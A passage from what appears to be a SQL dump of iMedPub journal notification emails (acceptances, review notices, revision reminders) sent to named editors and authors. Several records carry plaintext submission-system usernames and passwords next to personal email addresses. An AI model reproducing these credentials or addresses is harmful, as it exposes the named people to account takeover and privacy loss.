/>\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3713</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',3713,'2020-04-15',85),(1064,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3786</b><br />\r\n            <br />\r\n            Article Title: <b>PREVALENCE OF FOREFOOT PAIN AMONG HIGH HEEL WEARING FEMALE TEACHERS AND STUDENTS OF DIFFERENT UNIVERSITIES IN FAISALABAD</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Subazwari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','themedresearcher@gmail.com',3786,'2020-04-15',48),(1066,'<p>Ref.:  Ms. No. : <b>ipaom-19-1394</b><br />\r\n<br />\r\nARTICLE TITLE: <b>COMPARATIVE STUDY ON HUMAN RESOURCE MANAGEMENT IN PRIVATE AND PUBLIC HEALTH FACILITIES IN TIGRAY REGION, ETHIOPIA</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Siyum</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-19-1394</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>atakilt</b><br />\r\npassword: <b>4bBGvG7b</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','atakilthalifom@yahoo.com',1394,'2020-04-16',85),(1068,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3713</b><br />\r\n            <br />\r\n            Article Title: <b>A case report on metformin and insulin induced hypoglycemia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mahesh pavan Kontheti</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3713</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',3713,'2020-04-16',85),(1069,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3713</b><br />\r\n            <br />\r\n            Article Title: <b>A case report on metformin and insulin induced hypoglycemia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kontheti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','maheshpavankontheti@gmail.com',3713,'2020-04-16',85),(1073,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3577</b><br />\r\n            <br />\r\n            Article Title: <b>The Perception of Population and Health Professionals regarding the National Immunization Program of Timor-Leste</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Carlos Boavida Tilman</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphspr-20-3577</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','patricia.islas@uacj.mx',3577,'2020-04-20',84),(1074,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3753</b><br />\r\n            <br />\r\n            Article Title: <b>Proper Hospital Waste Management for the Protection of Human Health and Environment: A Review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sadia Hassan Sherani</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphspr-20-3753</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','archana.sarkar5@gmail.com',3753,'2020-04-20',84),(1075,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3753</b><br />\r\n            <br />\r\n            Article Title: <b>Proper Hospital Waste Management for the Protection of Human Health and Environment: A Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hassan Sherani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sadiasherani.333@gmail.com',3753,'2020-04-20',84),(1078,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3785</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect Combination of Music, Humorous, And Prayer Therapy Toward Blood Pressure: True experimental Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Awaludin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','abifayza@yahoo.co.id',3785,'2020-04-21',48),(1082,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3823</b><br />\r\n            <br />\r\n            Article Title: <b> Redefining dialysis facility recommendations for infection prevention and control during the COVID-19 outbreak</b><br />\r\n            <br />\r\n            Corresponding Author: <b>issa kawalit</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3823</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',3823,'2020-04-21',85),(1089,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3804</b><br />\r\n            <br />\r\n            Article Title: <b>Attitude of health workers (nurses) towards patients and the perception patients have about them: a case study at kropa health centre inghana</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Richard Owusu Nyarko</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphspr-20-3804</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','archana.sarkar5@gmail.com',3804,'2020-04-22',84),(1090,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3823</b><br />\r\n            <br />\r\n            Article Title: <b> Redefining dialysis facility recommendations for infection prevention and control during the COVID-19 outbreak</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>kawalit</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ikawalit@yahoo.com',3823,'2020-04-22',85),(1093,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-3529</b><br />\r\n            <br />\r\n            Article Title: <b>In silico identification of small molecules as novel coronavirus protease enzyme inhibitors</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Debanjan sen</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ijddr-20-3529</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','antonio.scilimati@uniba.it',3529,'2020-04-22',376),(1094,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3577</b><br />\r\n            <br />\r\n            Article Title: <b>The Perception of Population and Health Professionals regarding the National Immunization Program of Timor-Leste</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tilman</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iphspr-20-3577</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.hsprj.com/\">https://www.hsprj.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>carlos_boavida</b><br />\r\n            Password : <b>Y6oj3GTf</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','C.tilman@ensp.unl.pt',3577,'2020-04-22',84),(1096,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3777</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing the Level of Awareness and knowledge of Covid 19 pandemic among Syrians</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Louay Labban</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3777</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',3777,'2020-04-23',85),(1098,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3777</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing the Level of Awareness and knowledge of Covid 19 pandemic among Syrians</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-3777</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','jencook@email.arizona.edu',3777,'2020-04-23',85),(1102,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3672</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of the effect ofhospital informationsystem on performance of manegment units in ahvaz general hospital</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>moadipour</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sahamoradipoor@yahoo.com',3672,'2020-04-24',48),(1105,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3777</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing the Level of Awareness and knowledge of Covid 19 pandemic among Syrians</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Labban</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drlouay@gmail.com',3777,'2020-04-24',85),(1109,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3863</b><br />\r\n            <br />\r\n            Article Title: <b>A Narrative Literature Review Of Global Pandemic Novel Coronavirus Disease 2019 (Covid-19) : Epidemiology , Virology , Potential Drug Treatments Available </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Venkatesh Hangr</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3863</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',3863,'2020-04-25',85),(1111,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3886</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of Physical Activity on Heart Rate, Blood Pressure and Rate-Pressure Product in Healthy Elderly </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mitsiou</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in 